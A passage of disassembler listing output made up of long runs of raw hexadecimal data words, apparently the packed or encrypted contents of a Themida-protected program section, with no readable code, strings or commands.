		dd 0EBD71566h, 0CC108E1Ah, 0ED4CCFA6h, 0B3BA9EEDh, 348C54D3h
		dd 0C35AC90Bh, 98321523h, 8C8D315Ah, 6D321566h,	2ADB4A9Eh
		dd 0B5321566h, 7E9EFF6Ah, 0EFA8E7B9h, 4352B89Ah, 0EECEAD36h
		dd 0E51FEA99h, 45530918h, 5C5F1096h, 11F5747Ah,	88321566h
		dd 7EDBEC3Eh, 2DCDEA9Dh, 113212E6h, 57B97566h, 2546C4E6h
		dd 3ADBA0EFh, 1E521282h, 883215EFh, 0FBE89566h,	6C3F7D07h
		dd 5BB1566h, 885AE942h,	0B13215E6h, 0A252150Ch,	933D23BDh
		dd 88321566h, 3987EA07h, 0D735F140h, 0E078099h,	0DB521282h
		dd 17FA9400h, 0DD534B3Ch, 90683152h, 883211A2h,	0AFB27566h
		dd 0E3851AA1h, 88BF9E07h, 6135F172h, 4432156Fh,	4F1ECD29h
		dd 9F758A86h, 8CDE944Eh, 0CD321566h, 828D315Ah,	90433325h
		dd 0A77339A1h, 0ABB3522Dh, 9E6791ABh, 0E96D2CEFh, 880B240Eh
		dd 602E9C66h, 223211DDh, 4AEB1466h, 11BF9C9Fh, 4B35F172h
		dd 223219E4h, 17B81A66h, 87321566h, 443215E1h, 0E431FC66h
		dd 1CDBEA99h, 0B9321566h, 0EAD5783Bh, 0CCDDAD32h, 0BF4A0BCDh
		dd 88389369h, 24521566h, 22BB1A07h, 70321566h, 8818208Fh
		dd 0BD52E066h, 36AB98EDh, 0EECE1282h, 0AC069457h, 6E831F8Bh
		dd 0A31619EDh, 113211A2h, 65C39466h, 4B18A46Ch,	22321DE7h
		dd 13BE1A66h, 0E8321566h, 4FB21A07h, 42321566h,	90C39E00h
		dd 49962788h, 0C9BB7428h, 25D9ED36h, 1139FC06h,	0E0FD1566h
		dd 2DCA18C5h, 663B749Ch, 0D2EC9431h, 0E93CAD1Eh, 107C2DE7h
		dd 0A73D5922h, 113215E9h, 0F0B3739Ah, 4B1C5962h, 223297E3h
		dd 9A62EC66h, 4CB33152h, 44321562h, 223A9C69h, 71521566h
		dd 0E7887307h, 0FE607469h, 22321560h, 5B9C367h,	8CF69642h
		dd 0EA2EAE06h, 31DB78A8h, 0DC321566h, 0DAF00879h, 53AABDFBh
		dd 4FD567C5h, 6DFC5E5Fh, 35367EEh, 0A01040E3h, 3AB21A61h
		dd 0F8321566h, 88321575h, 4E0E5CA8h, 58F70164h,	4364BE80h
		dd 45668CAFh, 0AD4577BBh, 22321182h, 70524706h,	0BDECAD3Eh
		dd 24537A84h, 4111CDE7h, 41531246h, 731611E7h, 1A7B1900h
		dd 44C9AF34h, 0C71B5C6Ah, 89BD1A3Ch, 0B8321566h, 0ABF39C37h
		dd 353E9EACh, 8736D1E5h, 44321DE2h, 43527566h, 0CB5BAC00h
		dd 61FB2407h, 4432156Eh, 7A0801CFh, 1DECB598h, 0B4CAE9CAh
		dd 1B61A66h, 2D321567h,	113214E6h, 0A50EE966h, 0BBD49169h
		dd 2FDBEA99h, 0E9321566h, 59A293BCh, 0E36A9CBDh, 0E6663FECh
		dd 953D3B5Ah, 883215EBh, 44339769h, 1ECB1566h, 0CBB01A56h
		dd 7D321562h, 0C23D2C5Ah, 0DDCDEAD2h, 10B21A9Ah, 70321566h
		dd 0C63D545Ah, 223211A7h, 0D2B37306h, 9540A84h,	2593AD86h
		dd 0A43D4F5Ah, 0EECDEAF6h, 88321C8Fh, 63C30D66h, 11D98F0Ah
		dd 4E0EA53Ch, 77489169h
		dd 0CE3DEA99h, 2232156Ah, 11349769h, 23D1566h, 44321566h
		dd 0A03D745Ah, 1132111Bh, 8748299Eh, 0BBCD42E0h, 223FFC99h
		dd 0B7121566h, 8084C16Ch, 5C005E4Bh, 0CB570409h, 1132113Bh
		dd 8CCD479Fh, 60269E42h, 2236D1E7h, 1BDB1566h, 3C321566h
		dd 1581D7A2h, 0ABB4106Ch, 10B71A3Bh, 71321566h,	0C03DE75Fh
		dd 22321157h, 1132198Fh, 9171B266h, 23EFE52Ah, 803275B7h
		dd 0EE8A4502h, 89CDEA99h, 24CE4DA4h, 22229C69h,	1ADB1566h
		dd 60321566h, 5A9B98C5h, 48512308h, 0CEB9BE0Ch,	0D1654407h
		dd 0BDB55239h, 22321D8Fh, 0CD02CD66h, 57DBB087h, 0BAF4FC29h
		dd 0A53DEA99h, 11321576h, 88389869h, 41DB1566h,	0B8321566h
		dd 0AFDA7EB1h, 0C3DDCE3h, 443216A3h, 22321A8Fh,	617F4566h
		dd 0F5F44C24h, 0F9EC02Eh, 0DBE40615h, 1A73A0EBh, 87521282h
		dd 443213E7h, 22B81A66h, 0F8321566h, 8832156Fh,	28A5A198h
		dd 1EEB534Ch, 436474DCh, 0D6C39C38h, 443A9E69h,	0AF3D1566h
		dd 11321564h, 9607406h,	46C3162h, 1EB9110Eh, 15F69642h
		dd 0C86CFAE7h, 0F4CA110Eh, 26D2D5D7h, 4054204Ah, 601241D3h
		dd 3A064C00h, 2232188Fh, 1AD4CF66h, 74F6EBF2h, 0E919FC6Fh
		dd 579CF568h, 0AE54759Bh, 4FB3B934h, 321166D1h,	0A3C7E007h
		dd 0A75C368Fh, 0D0DB9446h, 6D25377Dh, 7AF3949Fh, 9025377Dh
		dd 3E5C36A7h, 443FFC46h, 3CF41566h, 32867F0Bh, 2C097CADh
		dd 24412272h, 4C2FAB00h, 118A4507h, 0A1321566h,	1D6244AEh
		dd 0A03D4D3Eh, 1132156Bh, 88321D8Fh, 0F7E2D266h, 0F92C5919h
		dd 9A5475DAh, 4B851AACh, 0A1DD9407h, 0B42F90Fh,	0F48F40A9h
		dd 8942F90Fh, 4B524889h, 223216E6h, 0E7F39566h,	8823FC07h
		dd 0CEDC1566h, 0CF64E9DDh, 0E498745h, 62B0575Dh, 752CFCA4h
		dd 13CC2491h, 0B5C1EC91h, 5B8D1A06h, 0CBAC00h, 59864507h
		dd 0E768F1E6h, 79FE95BAh, 15C5F9E6h, 6DBAF4EEh,	0ED6A4C99h
		dd 837380EBh, 0CFCE1282h
		db 0E3h, 20h
word_607F42	dw 0C614h		; DATA XREF: Themida_:00584888o
		dd 0E8CE7561h, 87F29007h, 4432BAE3h, 0E4CBED66h, 0F51E38E3h
		dd 0D3D5261h, 4432157Fh, 2232018Fh, 90755D66h, 91ED76A7h
		dd 0E1EB4446h, 0A30D98F7h, 6E0E3EFh, 2FE07DDBh,	4BC7C1FCh
		dd 223201E4h, 1FB11A66h, 61321566h, 4432156Fh, 358FA1EAh
		dd 5C6911C8h, 0C987EABFh, 4B35F147h, 22321FE7h,	0A63D7566h
		dd 40B373AEh, 4B53175Ch, 223219EDh, 17BE1A66h, 87321566h
		dd 443215E5h, 85B79866h, 0F835F2D6h, 88321563h,	3E9F4A13h
		dd 0A9547558h, 903D47B1h, 88321566h, 94CD743Fh,	22321A8Fh
		dd 0BAA466h, 998E100Eh,	0F7D33772h, 0A2B9B658h,	9F3DE006h
		dd 88321565h, 253DCAE6h, 0A3D09C34h, 113211A4h,	8CD89666h
		dd 181601E1h, 2D1601EFh, 11321DE4h, 0D3D7566h, 44321566h
		dd 42E2EA07h, 11339B69h, 3ECA1566h, 0C1C77413h,	0D3B71AA6h
		dd 71321566h, 883C9569h, 4DDB1566h, 0CA321566h,	9DCBEFF7h
		dd 0EEB6541Dh, 0CF53DBEDh, 0C629C0E3h, 1DB41A61h, 87321566h
		dd 443213E2h, 22B01A66h, 94321566h, 0F1B71AA6h,	0B1321566h
		dd 0E1F90A0h, 0F87E1282h, 8832156Bh, 4BE846F6h,	4A163500h
		dd 2FB6CCD8h, 94DB7DE8h, 0C03DCCBCh, 22321561h,	0C9B97306h
		dd 7753D3EDh, 0A01354D3h, 2226FC61h, 86971566h,	75A09011h
		dd 46B81A28h, 147E82F2h, 283F5FA7h, 0DBF884Dh, 43D5A5C1h
		dd 22209C69h, 1CDB1566h, 45321566h, 99154D6Fh, 0A9A2D562h
		dd 5DE1F639h, 73DC599h,	4432156Eh, 22309569h, 70521566h
		dd 8DD29C36h, 44321562h, 0A536FDE5h, 986E3162h,	33D3172h
		dd 44321567h, 0CBE2EA9Fh, 11321577h, 0AA3AE05Eh, 9C07AF2Bh
		dd 2B7830D4h, 60DED719h, 87F290E7h, 443212E3h, 0ACDBEC66h
		dd 0E9321566h, 706290EFh, 0CF3D128Dh, 22321567h, 68247D9Eh
		dd 8CBB1566h, 48B21A42h, 2D321566h, 113213E1h, 88B81A66h
		dd 2C321566h, 22326F8Ah, 711621EFh, 94897306h, 0E7F194C6h
		dd 43245EF8h, 11369A69h, 30541566h, 0C953C008h,	0C5F88EE3h
		dd 0E8617561h, 58CD743Dh, 4BF21E9Eh, 223231E3h,	1121FC66h
		dd 0DA021566h, 490638B5h, 1134B815h, 1A23E861h,	1738869Fh
		dd 4421FCA7h, 0A03D1566h, 11321567h, 0AC769C93h, 0C63DE97Ah
		dd 22321567h, 0D2CB749Fh, 314DA306h, 3A5EDAD6h,	0A63D7507h
		dd 11321577h, 8832198Fh, 5344E66h, 0F073140Fh, 0AF003C6Eh
		dd 5B9E985h, 43D9ED36h,	44EC9E06h, 1B21CEE7h, 8834FC07h
		dd 0D941566h, 770D54A2h, 90D79C33h, 883211A3h, 40DF9666h
		dd 7E1639E1h, 0F81611EFh, 88321572h, 0D2B0E3DFh, 6A173D64h
		dd 3F5BF10Bh, 3BBA8691h, 0DA5470F1h, 6069437h, 66025947h
		dd 0B1611EDh, 650711A2h, 2D45252Ah, 11321DEBh, 8AB61A66h
		dd 24321566h, 1E884707h, 10321566h, 888946A4h, 45321566h
		dd 793116B5h, 0AECA753Ch, 0B0E0AC07h, 0CC82EA07h, 0A9321566h
		dd 0D5B13172h, 6052E962h, 4432156Dh, 94BFCB25h,	10BA5471h
		dd 30E47814h, 64DB9735h, 0E5B9733Eh, 28A79C07h,	0E835F17Eh
		dd 2252E4ECh, 61F6E5E7h, 1132068Fh, 0BE3FDC66h,	0D701526h
		dd 59803BEh, 0CD4BE8B9h, 158153Eh, 41DB7407h, 3D321566h
		dd 0E050CAC0h, 88CAAA31h, 0BC331566h, 0A11629EDh, 0AA5211A2h
		dd 0DC129F1Eh, 4435FC07h, 2DCE1566h, 0E218F60Eh, 848946F0h
		dd 0C5321566h, 997C258Dh, 90F11460h, 337C25A5h,	1F219E60h
		dd 22321F8Fh, 0A3EDA366h, 97423514h, 0CD9C56E0h, 0C63C5CF3h
		dd 1126FC61h, 81901566h, 72B77661h, 0CD1282AEh,	0CDAD7AC0h
		dd 8EE74FA0h, 70CDA3CDh, 0E6B34D42h, 11321562h,	88339C69h
		dd 0BBCB1566h, 7A163112h, 1132078Fh, 0DB498366h, 53B310F1h
		dd 0F8202C04h, 13EFB84Eh, 0E8EE753Bh, 0C03D53D5h, 22321566h
		dd 5CDF3807h, 5375E77h,	6D1D873Ch, 78BF38AEh, 0FC373AF4h
		dd 6179042Bh, 44321577h, 977DC10h, 7DB0B17Fh, 710E5301h
		dd 0FE3C1248h, 6BB72E8Eh, 1E35F168h, 883274E4h,	54DB7566h
		dd 0B4321566h, 5DADCADFh, 0A80340D8h, 774DD55Fh, 0A2A84C48h
		dd 2A538980h, 6C2A2CE3h, 7FB11A61h, 42321566h, 11321A8Fh
		dd 53C01366h, 0FBE7B876h, 3612E3B1h, 60E67E45h,	47B97306h
		dd 0B1537407h, 2D3211A4h, 113200E9h, 87B01A66h,	0AD321566h
		dd 2232156Ch, 0A84D93F5h, 431CA0E0h, 0B853526Ch, 3F1611A1h
		dd 90520C13h, 0C63A314Ah, 40B31F81h, 771A2042h,	351E9455h
		dd 0B0064E5Bh, 0F21631E7h, 0DD5BC919h, 15B3316Ah, 0FEE47B42h
		dd 6016D489h, 61E9462h,	76875B2Bh, 0B51611E7h, 4B5955C1h
		dd 22321FE0h, 903D7566h, 88321566h, 0B8534B30h,	261651A1h
		dd 18805794h, 8C164191h, 40165199h, 261679A7h, 3576EA62h
		dd 0AC5E9462h, 0D3252C62h, 6769452h, 23097D62h,	0E063E943h
		dd 71C12C7Fh, 0A1E3E23Fh, 0F8B314A7h, 423ED384h, 0AD6BDDEFh
		dd 22321568h, 58D6581Ah, 927549Ch, 0CC0A0CE1h, 0AFBFECD8h
		dd 16D65A81h, 88321E8Fh, 0BDC79E66h, 0E18C0733h, 0BCAE60F1h
		dd 99DBF499h, 11321566h, 0FC6A611h, 0C423AAD9h,	0E006F7EDh
		dd 8C1BDB88h, 9860E906h, 11321566h, 3361E767h, 44321566h
		dd 21B8C667h, 2DCB4F3Dh, 0DAB61A8Fh, 0B1321567h, 2DDA2993h
		dd 113372E2h, 8834FC66h, 3E961566h, 5A3AEEC9h, 953D1A5Ah
		dd 88321536h, 443A9069h, 72521566h, 9B88733Dh, 450E74D2h
		dd 45A59169h, 1ECA1566h, 0C4B61A8Dh, 74321567h,	58BD1A07h
		dd 42321566h, 2DB1BD6h,	44321566h, 2F187EEFh, 6A96BA3Bh
		dd 1B53C894h, 0B7446FD3h, 8753C856h, 0DA8D1A06h, 10B91A07h
		dd 70321566h, 4433AC37h, 0CBB31566h, 19250B1h, 49B3E467h
		dd 549250B1h, 2D6B0CECh, 113206EBh, 883CFC66h, 0F3451566h
		dd 0D3A13BABh, 717D49CEh, 6F90C0F8h, 0CD36F9E5h, 0D2823162h
		dd 0F86AD646h, 88321574h, 23C82A86h, 0CB92CA52h, 95A62C6Ah
		dd 0F2EE86EDh, 0BFB243D1h, 57B71AE6h, 71CDEA99h, 0B07EECDEh
		dd 94851A5Bh, 4F557D07h, 25BB1566h, 33D4E42h, 44321568h
		dd 22321C8Fh, 70F39A66h, 25741320h, 14CAAD5Dh, 223213DEh
		dd 9AF11466h, 4CB33162h, 44321562h, 223E9269h, 993D1566h
		dd 88321560h, 44329069h, 77601566h, 0ED5D62DBh,	8ED7D441h
		dd 0C531F0A7h, 602F6083h, 0AFC7944Eh, 9324A02h,	595AA98Bh
		dd 7FD89C4Eh, 0B31E767h, 0F0DBED3Ch, 0AD321566h, 2232156Bh
		dd 13CEB23Ch, 5EAF1DE0h, 0F2A86CF5h, 9A624760h,	67E97B84h
		dd 0ACA30A63h, 1CF09CEFh, 38B9E767h, 0EAB1EC3Ch, 3EB61A9Dh
		dd 0BD321566h, 62E9E30h, 1136D1E7h, 0E8CB1566h,	25E19E00h
		dd 2236F9E7h, 15BB1566h, 8833AD42h, 0B4331566h,	2D6A0D65h
		dd 11321EE5h, 46B37566h, 6AF840B1h, 437CF9E6h, 208F4037h
		dd 31045C6Dh, 727B1E52h, 236FFC57h, 0F8CE4CADh,	77CDEBE6h
		dd 44321D8Fh, 682CF866h, 0AED363B2h, 0D6841A25h, 4423FC67h
		dd 64A31566h, 0BAF61E50h, 953E98EAh, 0CF147447h, 0A16B5C43h
		dd 953D3B8Dh, 77CDEB36h, 44321F8Fh, 0FE393B66h,	9E5CFC94h
		dd 61B3CABDh, 44321543h, 3DC9506h, 9152749Fh, 948D20BEh
		dd 2566CFCAh, 0DC336BE6h, 0EF109069h, 8EDBEA99h, 0DC321566h
		dd 0D5854430h, 0EDD6FC94h, 0D952EA99h, 4B6CC5EDh, 223210EFh
		dd 0C7BDAD66h, 0E0536A4Dh, 44327034h, 0D71621EFh, 1119D70Eh
		dd 0AC3E9C66h, 4F897306h, 223DFC61h, 0F9831566h, 0CC032412h
		dd 0BF0519D9h, 0C0C4CC56h
		dd 405A7417h, 132157Ch,	0C73D317Ah, 22321569h, 11321F8Fh
		dd 89EB2066h, 0F1ADD37h, 75130E89h, 0D6B3F2EFh,	88321562h
		dd 4436FAE7h, 1EB51566h, 2DBB4942h, 84DA7542h, 0AD321566h
		dd 0D228ADDFh, 654B301Dh, 61FF7976h, 4432156Eh,	12946375h
		dd 1DAFDBBCh, 123FAB39h, 755324EAh, 223DFCA6h, 31131566h
		dd 4CEF72EFh, 86C18373h, 64C6A33Eh, 43C7B915h, 63D7EEh
		dd 1DD99DB3h, 9060EC3Ch, 5BD895E6h, 9C854600h, 1F54EF4Eh
		dd 0E8B2D798h, 6AD8952Dh, 8768C646h, 443212E6h,	23B41A66h
		dd 0E4321566h, 8742EEE6h, 4437AEE2h, 29DB7566h,	62321566h
		dd 54B3BD3Ah, 76A204E6h, 0A9543FD9h, 1E0E7491h,	888F9169h
		dd 78CB1566h, 32B61A8Fh, 1E32156Dh, 88320BE4h, 0FB3D7566h
		dd 2226FC95h, 687C1566h, 0F129B229h, 0E41745B4h, 0F2E4DDD9h
		dd 0FB58F64Eh, 0B453719Ch, 0BEB61A8Dh, 0CB321568h, 1132156Ch
		dd 5A75D608h, 86D0D478h, 0C10EF5D7h, 126B9169h,	0B4CA1566h
		dd 24B61A84h, 42321576h, 0EE53E7EDh, 0B6D3152h,	0BBC711A2h
		dd 0A1693152h, 0EEC711A2h, 96B3152h, 443211A2h,	2237FC66h
		dd 83E21566h, 61AC777Ch, 44321574h, 0A7CAFC82h,	3A0D829Bh
		dd 0AA0070CDh, 0E0829BB9h, 16B9B9CDh, 0F3BB4742h, 8836D7E7h
		dd 86B11566h, 6269262h,	9D3DE93Ah, 88321562h, 25C69F06h
		dd 9D3D75A5h, 0C9B37395h, 4F531E43h, 0AFCB35E3h, 22321361h
		dd 18B41A66h, 0E8321566h, 709928DDh, 431DA018h,	1132AC37h
		dd 49B31566h, 1FB62918h, 0CBB3E467h, 4AB62918h,	716B0CECh
		dd 0C4D1A037h, 0E7CC4C93h, 3107D0E6h, 8EDB4C8Dh, 5C321566h
		dd 8D43E732h, 91C9952Eh, 777B9069h, 4FDBEA99h, 0ED321566h
		dd 857EE83Eh, 0AC0EB6EFh, 0C33D3B32h, 2232157Fh, 1122FC06h
		dd 0FE21566h, 563C3A58h, 2E68026Fh, 7B0C5DA6h, 0D6600A41h
		dd 0BB8D4207h, 23CDEA99h, 9ACA4A98h, 6C1158E3h,	443BFC61h
		dd 13101566h, 0B50E36F1h, 8716D7E1h, 44321DE8h,	20BF1A66h
		dd 71321566h, 0EDA79E07h, 0BD35F173h, 223B1E0Eh, 35069C66h
		dd 852ED3Dh, 2252B3BCh,	5F4AD3E7h, 70C5A269h, 35674707h
		dd 5C0C14F5h, 6F34F0A7h, 8A75D0E7h, 62BBE519h, 1EE1143Bh
		dd 0C0DC9406h, 1E04C7EEh, 883215E3h, 0FE607466h, 22321564h
		dd 35FBD7E7h, 7A336F77h, 60FBFFE7h, 38316F77h, 1CDB753Ch
		dd 66321566h, 2D7D4EF8h, 69FE65B1h, 7D057235h, 0E989D6E6h
		dd 0C63DCD5Dh, 2232156Ch, 1EE82E9Eh, 77CC7FE0h,	0AFB3E999h
		dd 7D3C64B1h, 75A9FEE7h, 731B0336h, 20A9D6E7h, 0E1B30336h
		dd 4E3C64B1h, 883A9569h, 0C03D1566h, 22321564h,	47C77406h
		dd 883213D8h, 0FCF19466h, 0B0BDE64h, 0A9D99495h, 0D60BDE64h
		dd 0F33D4206h, 0A9544B98h, 1E5274B7h, 883216E9h, 97B97366h
		dd 2232048Fh, 3A892266h, 0F4891F21h, 15C44301h,	17FE4F31h
		dd 7753373Ch, 0EECEE0CBh, 4420FCCDh, 84BC1566h,	0BBC2967Eh
		dd 0F6DCCDD7h, 7DD8F6CEh, 1A05B6ACh, 115D2A0Eh,	0AC369C66h
		dd 0AD694D35h, 22321577h, 0CAA0D62Dh, 393FA796h, 0F4E1125Fh
		dd 4D1BCAD5h, 9B52BEFEh, 3567748Dh, 44321562h, 0EB9FB67h
		dd 15F69642h, 0AC0E9C93h, 60469C93h, 27DB756Ah,	0FC321566h
		dd 1A87876Bh, 44321E8Fh, 59E4E066h, 124799F5h, 313C31A8h
		dd 45879C07h, 0DE35F148h, 461629EDh, 4FB3F2EFh,	44321562h
		dd 2236D2E7h, 2DB51566h, 61524942h, 44321569h, 9D1BDA7Bh
		dd 4E887ABDh, 0E729383Eh, 25786D1Ch, 731609EDh,	0D0B3F4EFh
		dd 88321562h, 4436D4E7h, 2EB51566h, 0F9524942h,	8832156Bh
		dd 9EFA3665h, 9A964A10h, 0AC4691B9h, 0EE6BED31h, 0BB53C2EDh
		dd 0A16B3152h, 17DB11A2h, 4321566h, 187B3B85h, 6069E78h
		dd 90D09C34h, 883211A4h, 40F09466h, 0A5321566h,	0F86E3172h
		dd 88321561h, 8AE995A0h, 7071DCAAh, 0A863F7EFh,	0BFF9294Bh
		dd 0B3EBE227h, 0A3E3E2BFh, 25F1C097h, 0D1F814AEh, 0C336D7E5h
		dd 0D76E3172h, 0EED25D8Fh, 80B21A99h, 24321566h, 0F5D09400h
		dd 7153ECF7h, 0B3D29D2h, 44321564h, 0E5536DD1h,	0FACB35E3h
		dd 88321761h, 0AFB37566h, 6B7BCDC8h, 0E1BB4507h, 8CB9D6EFh
		dd 40F69642h, 2C841A93h, 11321B8Fh, 0F7C8F266h,	0F54ED8EBh
		dd 0A05EDA7Ch, 91F8CF02h, 0B3D959Fh, 4432153Dh,	22359769h
		dd 973D1566h, 88321567h, 87B3EC93h, 77404239h, 0AC67DE67h
		dd 0DD404239h, 246FFE4Fh, 78FA9400h, 70F59ED8h,	77CDAA31h
		dd 0BF1BEA99h, 87DBE039h, 1E321566h, 88320BE6h,	5CB81A66h
		dd 0CB321566h, 11321575h, 0FE0EA03Ah, 56D2C7Fh,	95C9D9E6h
		dd 5528B197h, 9F68EC8h,	4432118Ah, 6269C66h, 0FFF274D0h
		dd 8FCEB64h, 0B51AFD90h, 0D563E03Ch, 1DB9317Ah,	8CF69642h
		dd 44321E8Fh, 2BB8666h,	88D09B47h, 0B1C2859h, 0FB65409Fh
		dd 7716545Fh, 0D06DE8EFh, 4DB3178Bh, 73683BA1h,	547F8E7h
		dd 0D4B312E8h, 0A35530D4h, 0C537F0A7h, 0A598AA93h, 4CDB3469h
		dd 10F1949Ah, 6D7C701Ah, 188847ADh, 5B46973Dh, 0AF93E7E7h
		dd 971B2F81h, 2234FC3Ch, 8E931566h, 0D8379178h,	677F90EDh
		dd 0CB521282h, 11321568h, 17E57B07h, 8CA12252h,	0E9463F4Ch
		dd 18DBEEEEh, 32321566h, 0FA1F1890h, 8CC1722h, 1139FC07h
		dd 7B1E1566h, 8DD49D16h, 10E0A6B3h, 74A79E9Fh, 8735F173h
		dd 443202E1h, 2220FC66h, 0D6991566h, 55DBD69Eh,	0CFA69300h
		dd 0E12C1165h, 4432BCD1h, 9377A8E5h, 4B331282h,	223662E2h
		dd 0A8547566h, 0EE52C95Fh, 84B3CCEDh, 5D7A3EF9h, 0D20B7407h
		dd 8C6C9769h, 0AC521566h, 22321577h, 2E9DEB67h,	98E8095h
		dd 7E11800Eh, 0A433411Bh, 4A68442Bh, 0E9CCA269h, 0C63DC65Fh
		dd 0DDCDEF95h, 11359669h, 0F3D1566h, 44321567h,	223FFC9Fh
		dd 1CB21566h, 7B4500E1h, 90780B8Bh, 0CB8DF410h,	11321172h
		dd 883C9D69h, 4DDB1566h, 0D6321566h, 8A367B1Ah,	0F9856E4Ch
		dd 0BD1290A1h, 2230128Dh, 1ADB1566h, 8D321566h,	65D6B04Ch
		dd 0E407850Ch, 98623C27h, 3F19C96h, 80B13162h, 33DA7562h
		dd 5E321566h, 6EAAB486h, 235409BFh, 0F4B49DF6h,	87CDF3B0h
		dd 0E96D4ED0h, 44399A69h, 24DB1566h, 4321566h, 0D5A12F97h
		dd 4A841A61h, 928A7306h, 0E8B27449h, 0F6B11AE6h, 0AD321566h
		dd 22321574h, 18C94B81h, 97F6FA08h, 8A3DA7ECh, 41C06B1Eh
		dd 0D2B3DAE0h, 0EBF61333h, 6615FEE7h, 0E93341E6h, 3315D6E7h
		dd 63B341E6h, 27F61333h, 2232048Fh, 86333266h, 4D425355h
		dd 8495ABE8h, 0CDBED87Bh, 0A962BAF4h, 88321567h, 246AD667h
		dd 223E9169h, 17DA1566h, 6D321566h, 50AD17h, 43CA4BD0h
		dd 1132B18Fh, 883DFC66h, 53101566h, 0DA77D16Bh,	60E84017h
		dd 0BC65CE61h, 0F56345A9h, 7BFE9D35h, 0E7E1F9E6h, 0FBDE95BAh
		dd 0C431F9A6h, 0C31AEB92h, 1120FC3Eh, 5F081566h, 674E026Dh
		dd 221481F5h, 8885A64Eh, 9DCACCDCh, 50C5442Fh, 2CDB4C42h
		dd 0A5321566h, 4E74348Eh, 0E5BD01FAh, 2E7F218Bh, 5A8D423Bh
		dd 490BED6Ch, 0A3F31D81h, 71C59462h, 903DF16Ah,	3776B9A1h
		dd 0CFCB3416h, 0E6B1315Ah, 0D2B3E062h, 0BF0B0D93h, 6D2FEE7h
		dd 0E91B3AC8h, 53D2D6E7h, 63B33AC8h, 730B0D93h,	22359869h
		dd 903D1566h, 88321567h, 9B79E9Eh, 0DA35F145h, 74A79E9Fh
		dd 7D35F173h, 5F77A8E5h, 2D331282h, 113066E2h, 99B91A66h
		dd 0AD321566h, 2232156Ah
		dd 508204C6h, 0FFED3415h, 0C6C1C35Bh, 0A03DCD5Dh, 11321578h
		dd 87E12C93h, 0BBCB13E0h, 2222FC99h, 0AC561566h, 0FA416921h
		dd 0F4914871h, 35156785h, 0A962CDDEh, 0DF6D56ECh, 0AC2A316Bh
		dd 1BBE3039h, 9C07093Eh, 0A12E4D7Fh, 4BDB4DA0h,	46321566h
		dd 0D0929284h, 8B84846Ah, 0BB9270E7h, 0A43D6486h, 11321567h
		dd 8CDE9493h, 0CD321566h, 2D87316Ah, 0F86BFDEEh, 88321561h
		dd 18F9761h, 88C808E1h,	1189469Fh, 9321566h, 0F316B9A5h
		dd 0A3C1145Fh, 0A616B98Dh, 0D3399F5Fh, 728B7306h, 2DDB7441h
		dd 3B321566h, 24854552h, 0C535124Bh, 0DF566EE7h, 0A0635A86h
		dd 26F395B4h, 0B16BDDEEh, 0A2D3A635h, 0FAF23FA5h, 87C19563h
		dd 58B9CC46h, 26F69642h, 11321A8Fh, 25973866h, 5F58EFBEh
		dd 0D0A59FB4h, 7ED8B4A4h, 0E8FA1D9Eh, 20BDA4D9h, 0A43D4434h
		dd 11321566h, 87987438h, 443200E3h, 2222FC66h, 3ED11566h
		dd 0D042B6FBh, 1F50CCD2h, 0CED7DF55h, 0D2B31C44h, 0E00B27C6h
		dd 468BD6E7h, 0D91B57E0h, 138BFEE7h, 63B357E0h,	2C0B27C6h
		dd 9F674493h, 11321562h, 0A16FFCEFh, 0CA3D4CADh, 2232156Ah
		dd 1132128Fh, 4BD47766h, 0D0B9B259h, 0E103CD57h, 0F852CD57h
		dd 88321577h, 0D5AC11E5h, 709C88B6h, 0FBBEC97h,	3E3DBF28h
		dd 2573A207h, 2232138Fh, 76038766h, 23A5C0D3h, 0FC624693h
		dd 72435924h, 8907726Bh, 0C8EAE210h, 55F31026h,	843717AAh
		dd 9846380Dh, 56334DA5h, 0F1BBE93Dh, 25D63B67h,	94F5ED9Fh
		dd 8FD60E23h, 44321567h, 2232138Fh, 1AF5F66h, 0DDA7B9B9h
		dd 81B3F0EFh, 22321562h, 2236D0E5h, 0A403314Ah,	601E2642h
		dd 223DFC3Ah, 0D5181566h, 2A844B0Eh, 49B29D6Ch,	0D14500E1h
		dd 3506EA8Bh, 8CF6943Dh, 0AD321566h, 22321577h,	3F64FA36h
		dd 0D1A8DF40h, 3842B248h, 5F031DACh, 353E9E3Fh,	9D49C30h
		dd 443211A0h, 26F49666h, 4D1621E1h, 88399269h, 42DB1566h
		dd 0CC321566h, 0DBCC6E3h, 6BBB464Bh, 4436D6E7h,	0E1B11566h
		dd 352E9262h, 7D1631EDh, 44321F8Fh, 9352BD66h, 0A8D876D0h
		dd 0DFBC379Dh, 0FD63F2EFh, 22321562h, 926BDA67h, 0B4B511A1h
		dd 0ADCE4942h, 0DDCDCF5Bh, 37874606h, 0E9D09F3Dh, 4433AC37h
		dd 0EC1B1566h, 10B51A3Fh, 71321566h, 0CCECA635h, 29364EBEh
		dd 0AB3FA706h, 82D9BDEEh, 56DB7507h, 0A7321566h, 4B13A106h
		dd 44F1F890h, 0B39EB44Ah, 0AB105B7h, 1139FC5Ah,	56D21566h
		dd 7A2CECAAh, 0E4CC9386h, 0ED987462h, 136F9E5h,	0BD6A3152h
		dd 0B85CD463h, 1F6D1017h, 701B2E07h, 253C4A4Bh,	4CF3385Dh
		dd 0ED5264FCh, 718A7306h, 0F3C2947Eh, 431AD914h, 158B4407h
		dd 0A1321566h, 603E9EAEh, 2236D1E7h, 0F9521566h, 8832156Bh
		dd 160B371Ah, 668AA44h,	0CEB4E6FCh, 0D0CC9E64h,	0C55AD00h
		dd 4ACBBE07h, 11323A1Eh, 11629EFh, 40F59481h, 0A1321566h
		dd 2DB511A1h, 43D4942h,	44321572h, 223C9A69h, 18DB1566h
		dd 0A5321566h, 0FB61F6B9h, 28659423h, 1132108Fh, 0E239D966h
		dd 70CD4884h, 0E6B14E42h, 10B71A62h, 74321566h,	1D162199h
		dd 2236D1E7h, 943D1566h, 88321561h, 44339669h, 2DCE1566h
		dd 113214E8h, 0BCB9E066h, 0A3BB4242h, 2236D2E7h, 0D6B11566h
		dd 0AC0E9262h, 2CC7E03Ah, 22324334h, 981619EFh,	8CF39487h
		dd 0C7321566h, 2EB511A7h, 90524942h, 0DE882487h, 0A7B37347h
		dd 42530860h, 11321A8Fh, 0FAED6366h, 501A9E8Dh,	77A9B08Dh
		dd 0DABB792Ah, 0C4DB7493h, 0BDCDEABAh, 22239869h, 1DDB1566h
		dd 0D0321566h, 0A1572123h, 3B50229Bh, 0D60445ABh, 63CB35E3h
		dd 44321061h, 2234FC66h, 4DC1566h, 0BECD53DEh, 4436F9E7h
		dd 16BB1566h, 77524E42h, 0E9186ADEh, 4436AA31h,	0D9331566h
